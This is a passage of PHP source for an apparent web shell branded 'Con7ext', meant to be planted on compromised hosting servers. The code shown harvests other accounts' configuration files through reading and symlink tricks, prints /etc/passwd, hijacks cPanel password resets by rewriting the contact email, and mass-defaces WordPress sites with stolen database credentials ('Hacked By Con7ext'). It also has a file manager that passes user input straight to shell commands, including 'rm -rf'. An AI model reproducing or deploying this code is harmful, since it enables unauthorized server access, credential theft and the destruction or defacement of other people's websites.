"Hostbills", "/home/$meh/public_html/secure/includes/iso4217.php" => "Hostbills", "/home/$meh/public_html/support/order/includes/iso4217.php" => "Hostbills" ); foreach($mah as $conf => $name){ if($_POST["conf"] == "grab"){ $confs = file_get_contents($conf); if($confs == ''){ ///GIMME NULL } else{ $file = fopen("con7ext_conf/grab/$meh-$conf.txt", "w"); fputs($file, $confs); } } elseif($_POST["conf"] == "sym"){ @symlink($conf, "con7ext_conf/sym/$meh-$conf.txt"); } elseif($_POST["conf"] == "404"){ @mkdir("con7ext_conf/404/$meh-$conf.txt404", 0777); @file_put_contents("con7ext_conf/404/$meh-$conf.txt404/.htaccess", 4042); @symlink($conf, "con7ext_conf/404/$meh-$conf.txt404/con7ext.txt"); } } } } else{ echo "<form method=\"POST\" action=\"\"> <center> <textarea name=\"pws\">"; echo include("/etc/passwd"); echo "</textarea><br> <select name=\"conf\"> <option>--Select---</option> <option value=\"grab\">Config Grab</option> <option value=\"sym\">Symlink Config</option> <option value=\"404\">Config Grab 404</option> <option value=\"vhosts\">Vhost Config</option> </select> <input type=\"submit\" name=\"subm\" value=\"Grab\">"; } } elseif($nTod == "adminer"){ $meh = makeRequest("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php"); if(file_exists("adminer.php")){ echo "<script>alert(\"File is Exists here is $mpss/adminer.php\");</script>"; } else{ $fp = fopen("adminer.php", "w"); if(fwrite($fp, $meh)){ echo "<center><h1><a href=\"$mpss/adminer.php\" target=\"_blank\"> Login Adminer </a></h1></center>"; fclose($fp); } else{ echo "<script>alert(\"Failed to create a adminer\");</script>"; } } } elseif($nTod == "cpreset"){ if(function_exists("posix_getpwuid")){ $meh = @posix_getpwuid(fileowner(__FILE__)); } else{ $meh = fileowner(__FILE__); } if(is_dir("/home/".$meh["name"]."/.cpanel")){ echo "<center> <h1>Cpanel Reset</h1> <form method=\"POST\"> <input type=\"text\" name=\"email\" placeholder=\"email@kntlo.com\" required> <input type=\"submit\" name=\"subm\" value=\"Reset\"></center>"; $mps = makeRequest($ip."/cpanel"); if($_POST["subm"]){ if(preg_match("/>Reset Password/", $mps)){ $fp = fopen("/home/".$meh["name"]."/.contactemail", "w"); if(fwrite($fp, $_POST["email"])){ echo "<center>Success ... Try to reset password User: ".$meh["name"]." | ".$_POST["email"]." | <a href=\"http://$ip/cpanel\">Click Here</a></center>"; @unlink("/home/".$meh["name"]."/.cpanel/contactinfo"); } else{ echo "<script>alert(\"Sorry i can't edit file .contactemail please try manual\");</script>"; } } else{ echo "<center>Its cpanel host but Reset password is disabled :|</center>"; } } } else{ echo "<script>alert(\"Sorry Is not a cpanel Host\");</script>"; } } elseif($nTod == "titleChange"){ echo "<center>"; echo " <h1>Mass Wordpress Title Changer</h1> <form method=\"POST\"> Link Config: <input type=\"text\" name=\"conf\" placeholder=\"http://site.com/con7ext_conf/sym/\"> <input type=\"submit\" name =\"Change\" value=\"Change\"> </form>"; if($_POST["Change"]){ echo " <form method=\"POST\"> <br> <textarea name=\"list\">"; getBwah($_POST["conf"], 'wordpress'); echo "</textarea><br>ID Article: <input type=\"text\" name=\"artcID\" value=\"1\"><br> TITLE : <input type=\"text\" name=\"toTitle\" value=\"Hacked By Con7ext\"><br> CONTENT : <input type=\"text\" name=\"conT\" value=\"Hacked By Con7ext\"><br> POSTNAME : <input type=\"text\" name=\"pName\" value=\"Hacked By Con7ext\"><br> <input type=\"submit\" name=\"subm\" value=\"Change\"> </form>"; if($_POST["subm"]){ $title = htmlspecialchars($_POST["toTitle"]); $id = @$_POST["artcID"]; $cont = @$_POST["conT"]; $postn = @$_POST["pName"]; $link = explode("\r\n", $_POST["list"]); foreach($link as $conf){ $config = cookieRequest($conf); $host = getStr($config, "DB_HOST', '", "'"); $user = getStr($config, "DB_USER', '", "'"); $pass = getStr($config, "DB_PASSWORD', '", "'"); $name = getStr($config, "DB_NAME', '", "'"); $pref = getStr($config, "table_prefix = '", "'"); $fix = $pref."posts"; $ops = $pref."optios"; $conn = mysql_connect($host, $user, $pass); $db = mysql_select_db($name); $query = mysql_query("SELECT * FROM $fix ORDER BY ID ASC"); $query2 = mysql_query("SELECT * FROM $ops ORDER BY option_id ASC"); $re = mysql_fetch_array($query); $re2 = mysql_fetch_array($query2); $id = $re[ID]; $tar = $re2[option_value]; $update = mysql_query("UPDATE $fix SET post_title='$title',post_content='$cont',post_name='$postn',post_status='publish',comment_status='open',post_type='post',comment_count='1' WHERE id='$id'"); $update .= mysql_query("UPDATE $ops SET option_value='$title' WHERE option_name='blogname' OR option_name='blogdescription'"); if($tar == ''){ echo "URL: error, i can't pick domain -> "; } else{ echo "URL: <a href=\"$tar/?p=$id\" target=\"_blank\">$tar/?p=$id</a> -> "; } if(!$update || !$conn || $db){ echo "MySQL Error: ".mysql_error()."<br>"; } else{ echo "Success Change.<br>"; } mysql_close($conn); } } } echo "</center>"; } /// SOME FUCKING HERE /// elseif($_GET['action'] == "nFile"){ if($_POST["new_save_file"]){ $newfile = htmlspecialchars($_POST["newfile"]); $open = fopen($newfile, "a+"); if($open){ $action = "<script>window.location=\"?action=edit&dir=$dir&file=".$_POST['newfile']."\";</script>"; } else{ $action = "<script>alert(\"Permission Denied\");</script>"; } } echo $action; echo " <form method=\"POST\"> Filename: <input type=\"text\" name=\"newfile\" value=\"$dir/ntod.php\"> <input type=\"submit\" name=\"new_save_file\" value=\"Submit\"> </form>"; } elseif($_GET["action"] == "nFolder"){ if($_POST['new_act_folder']){ $newFolder = $dir."/".htmlspecialchars($_POST["new_folder"]); if(!mkdir($newFolder)){ $action = "<script>alert(\"Permission Denied\");</script>"; } else{ $action = "<script>window.location=\"?dir=$dir\";</script>"; } } echo $action; echo "<form method=\"POST\"> Folder Name: <input type=\"text\" name=\"new_folder\"> <input type=\"submit\" name=\"new_act_folder\" value=\"Submit\"> </form>"; } elseif($_GET["action"] == "dRename"){ if($_POST["dir_act_rename"]){ $dRename = rename($dir, "".dirname($dir)."/".htmlspecialchars($_POST["dir_name"]).""); if($dRename){ $action = "<script>window.location=\"?dir=".dirname($dir)."\";</script>"; } else{ $action = "<script>alert(\"Permission Denied\");</script>"; } echo "".$act."<br>"; } echo "<form method=\"POST\"> <input type=\"text\" value=\"".basename($dir)."\" name=\"dir_name\"> <input type=\"submit\" name=\"dir_act_rename\" value=\"Rename\"> </form>"; } elseif($_GET['action'] == "chmod_dir"){ echo "<form method=\"POST\"> <input type=\"text\" name=\"ch_target\" value=\"$dir\"><br> <input type=\"text\" name=\"ch_mod\" value=\"0755\"> <input type=\"submit\" name=\"act_ch\" value=\"Chmod\"> </form>"; if($_POST["act_ch"]){ $haha = (execute("chmod ".@$_POST["ch_mod"]." ".@$_POST["ch_target"].";echo success")) ? "<font color=\"#1D8348\">Successfully</font>" : "<font color=\"#C0392B\">Failed</font>"; echo "Chmod To ".@$_POST["ch_mod"]." ".$haha; } } elseif($_GET["action"] == "delete_dir"){ if(is_dir($dir)){ if(is_writable($dir)){ @rmdir($dir); @execute("rm -rf $dir"); @execute("rmdir /s /q $dir"); $action = "<script>window.location=\"?dir=".dirname($dir)."\";</script>"; } else{ $action = "<script>alert(\"Could not remove ".basename($dir)."\");</script>"; } } echo $action; } elseif($_GET["action"] == "chmod"){ echo "<form method=\"POST\"><input type=\"text\" name=\"ch_target\" value=\"".$_GET['file']."\"><br><input type=\"text\" name=\"ch_mod\" value=\"0755\"><input type=\"submit\" name=\"act_ch\" value=\"Chmod\"></form>"; if($_POST["act_ch"]){ $haha = (execute("chmod ".@$_POST["ch_mod"]." ".@$_POST["ch_target"].";echo success")) ? "<font color=\"#1D8348\">Successfully</font>" : "<font color=\"#C0392B\">Failed</font>"; echo "Chmod To ".@$_POST["ch_mod"]." ".$haha; } } elseif($_GET['action'] == "view"){ echo "Filename: <font color=\"#1D8348\">".basename($_GET["file"])."</font> | <a href=\"?action=view&dir=$dir&file=".$_GET["file"]."\"><u>View</u></a> | <a href=\"?action=edit&dir=$dir&file=".$_GET["file"]."\">Edit</a> | <a href=\"?action=rename&dir=$dir&file=".$_GET["file"]."\">Rename</a> | <a href=\"?action=chmod&dir=$dir&file=".$_GET["file"]."\">Chmod</a> | <a href=\"?action=download&dir=$dir&file=".$_GET["file"]."\">Download</a> | <a href=\"?action=delete&dir=$dir&file=".$_GET["file"]."\">Delete</a><br>"; echo "<pre><texarea disabled>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea></pre>"; } elseif($_GET["action"] == "edit"){ if($_POST['save']){ $save = @file_put_contents($_GET['file'], $_POST['new']); if($save){ $action = "<font color=\"#1D8348\">".$_GET['file']." Saved!</font>"; } else{ $action = "<script>alert(\"Could not edit file... permission denied\");</script>"; } echo "".$action."<br>"; } echo "Filename: <font color=\"#1D8348\">".basename($_GET["file"])."</font> | <a href=\"?action=view&dir=$dir&file=".$_GET["file"]."\">View</a> | <a href=\"?action=edit&dir=$dir&file=".$_GET["file"]."\"><u>Edit</u></a> | <a href=\"?action=rename&dir=$dir&file=".$_GET["file"]."\">Rename</a> | <a href=\"?action=chmod&dir=$dir&file=".$_GET["file"]."\">Chmod</a> | <a href=\"?action=download&dir=$dir&file=".$_GET["file"]."\">Download</a> | <a href=\"?action=delete&dir=$dir&file=".$_GET["file"]."\">Delete</a><br>"; echo "<form method=\"POST\"> <textarea name=\"new\">".htmlspecialchars(@file_get_contents($_GET["file"]))."</textarea><br> <input type=\"submit\" value=\"Save\" name=\"save\"> </form>"; } elseif($_GET["action"] == "rename"){ if($_POST["act_rename"]){ $rename = rename($_GET["file"], "$dir/".htmlspecialchars($_POST["rename"]).""); if($rename){ $action = "<script>window.location=\"?dir=$dir\";</script>"; } else{ $action = "<script>alert(\"Permission Denied\");</script>"; } echo "".$action."<br>"; } echo "Filename: <font color=\"#1D8348\">".basename($_GET["file"])."</font> | <a href=\"?action=view&dir=$dir&file=".$_GET["file"]."\">View</a> | <a href=\"?action=edit&dir=$dir&file=".$_GET["file"]."\">Edit</a> | <a href=\"?action=rename&dir=$dir&file=".$_GET["file"]."\"><u>Rename</u></a> | <a href=\"?action=chmod&dir=$dir&file=".$_GET["file"]."\">Chmod</a> | <a href=\"?action=download&dir=$dir&file=".$_GET["file"]."\">Download</a> | <a href=\"?action=delete&dir=$dir&file=".$_GET["file"]."\">Delete</a><br>"; echo "<from method=\"POST\"> <input type=\"text\" value=\"".basename($_GET["file"])."\" name=\"rename\"> <input type=\"submit\" name=\"act_rename\" value=\"Rename\"> </form>"; } elseif($_GET["action"] == "delete"){ $delete = @unlink($_GET["file"]); if($delete){ $action = "<script>window.location=\"?dir=$dir\";</script>"; } else{ $action = "<script>alert(\"Could not delete file... Permission denied\");</script>"; } echo $action; } else{ $scan = scandir($dir); if(is_dir($dir) === true){ if(!is_readable($dir)){ echo "<script>alert(\"Could not open directory ... permission denied\");</script>"; } else{ echo " <table> <tr> <th class=\"th_class\"><center>Name</center></th> <th class=\"th_class\"><center>Type</center></th> <th class=\"th_class\"><center>Last Modified</center></th> <th class=\"th_class\"><center>Owner/Group</center</th> <td class=\"th_class\"><center>Permission</center></th> <td class=\"th_class\"><center>Action</center</th> </tr>"; foreach($scan as $dirs){ $type = filetype("$dir/$dirs"); $time = date("F d Y g:i:s", filemtime("$dir/$dirs")); if(function_exists('posix_getpwuid')){ $owner = @posix_getpwuid(fileowner("$dir/$dirs")); $owner = $owner['name']; } else{ $owner = fileowner("$dir/$dirs"); } if(function_exists("posix_getgrgid")){ $grp = @posix_getgrgid(filegroup("$dir/$dirs")); $grp = $grp['name']; } else{ $grp = filegroup("$dir/$dirs"); } if(!is_dir("$dir/$dirs")) continue; if($dirs === ".."){ $lnk = "<a href=\"?dir=".dirname($dir)."\">$dirs</a>"; } elseif($dirs === "."){ $lnk = "<a href=\"?dir=$dir\">$dirs</a>"; } else{ $lnk = "<a href=\"?dir=$dir/$dirs\">$dirs</a>"; } if($dirs === "." || $dirs === ".."){ $actd = "<a href=\"?action=nFile&dir=$dir\">NF</a>|<a href=\"?action=nFolder&dir=$dir\">ND</a>"; } else{ $actd = "<a href=\"?action=dRename&dir=$dir/$dirs\">R</a>|<a href=\"?action=delete_dir&dir=$dir/$dirs\">D</a>|<a href=\"?action=chmod_dir&dir=$dir/$dirs\">C</a>"; } echo " <tr> <td class=\"td_class\"><img src=\"https://cdn1.iconfinder.com/data/icons/hawcons/32/699086-icon-94-folder-512.png\" width=\"25\" height=\"16\"> $lnk</td> <td class=\"td_class\"><center>$type</center></td> <td class=\"td_class\"><center>$time</center></td> <td class=\"td_class\"><center>$owner/$grp</center></td> <td class=\"td_class\"><center>".writAble("$dir/$dirs", perms("$dir/$dirs"))."</center</td> <td class=\"td_class\" style=\"padding-left: 15px;\">$actd</td> </tr>"; } } } else{ echo "<script>alert(\"Could not open directory\");</script>"; } foreach($scan as $file){ $type = filetype("$dir/$file"); $time = date("F d Y g:i:s", filemtime("$dir/$file")); if(function_exists('posix_getpwuid')){ $owner = @posix_getpwuid(fileowner("$dir/$file")); $owner = $owner["name"]; } else{ $owner = fileowner("$dir/$file"); } if(function_exists("posix_getgrgid")){ $grp = @posix_getgrgid(filegroup("$dir/$file")); $grp = $grp["name"]; } else{ $grp = filegroup("$dir/$file"); } if(function_exists("pathinfo")){ $meh = pathinfo($file); if($meh["extension"] == "php"){ $gambar = "https://cdn2.iconfinder.com/data/icons/files-coding/24/files-coding-php-128.png"; } elseif($meh["extension"] == "js"){ $gambar = "https://cdn2.iconfinder.com/data/icons/files-coding/24/files-coding-js-128.png"; } elseif($meh["extension"] == "sql"){ $gambar = "https://cdn2.iconfinder.com/data/icons/files-coding/24/files-coding-sql-128.png"; } elseif($meh["extension"] == "xml"){ $gambar = "https://cdn2.iconfinder.com/data/icons/files-coding/24/files-coding-xml-128.png"; } elseif($meh["extension"] == "java" || $meh["extension"] == "jsp"){ $gambar = "https://cdn2.iconfinder.com/data/icons/files-coding/24/files-coding-java-512.png"; } elseif($meh["extension"] == "html"){ $gambar = "https://cdn2.iconfinder.com/data/icons/files-coding/24/files-coding-html-128.png"; } elseif($meh["extension"] == "css"){ $gambar = "https://cdn2.iconfinder.com/data/icons/files-coding/24/files-coding-css-128.png"; } elseif($meh["extension"] == "exe"){ $gambar = "https://cdn2.iconfinder.com/data/icons/files-coding/24/files-coding-exe-128.png"; } elseif($meh["extension"] == "bin"){ $gambar = "https://cdn2.iconfinder.com/data/icons/files-coding/24/files-coding-bin-128.png"; } elseif($meh["extension"] == "pl"){ $gambar = "https://cdn2.iconfinder.com/data/icons/files-coding/24/files-coding-pl-128.png"; } elseif($meh["extension"] == "py"){ $gambar = "https://cdn2.iconfinder.com/data/icons/files-coding/24/files-coding-py-128.png"; } else{ $gambar = "https://cdn2.iconfinder.com/data/icons/files-coding/24/files-coding-app-128.png"; } }else{ $gambar = "https://cdn2.iconfinder.com/data/icons/files-coding/24/files-coding-app-128.png"; } if(!is_file("$dir/$file")) continue; echo " <tr> <td class=\"td_class\"><img src=\"$gambar\" width=\"25\" height=\"16\"><a href=\"?action=view&dir=$dir&file=$dir/$file\">$file</a></td> <td class=\"td_class\"><center>$type</center></td> <td class=\"td_class\"><center>$time</center></td> <td class=\"td_class\"><center>$owner/$grp</center></td> <td class=\"td_class\"><center>".writAble("$dir/$file", perms("$dir/$file"))."</center></td> <td class=\"td_class\" style=\"padding-left: 15px;\"><a href=\"?action=edit&dir=$dir&file=$dir/$file\">E</a>|<a href=\"?action=rename&dir=$dir&file=$dir/$file\">R</a>|<a href=\"?action=delete&dir=$dir&file=$dir/$file\">D</a>|<a href=\"?action=chmod&dir=$dir&file=$dir/$file\">C</a>|<a href=\"?action=download&dir=$dir&file=$dir/$file\">DL</a></td> </tr>"; } echo "</table>"; if(!is_readable($dir)){ //GIMME NULL }else{ echo "<a href=\"https://www.facebook.com/Con7ext\" target=\"_blank\"><center>Powered By Con7ext</center></a>"; } } ?> </body> </html>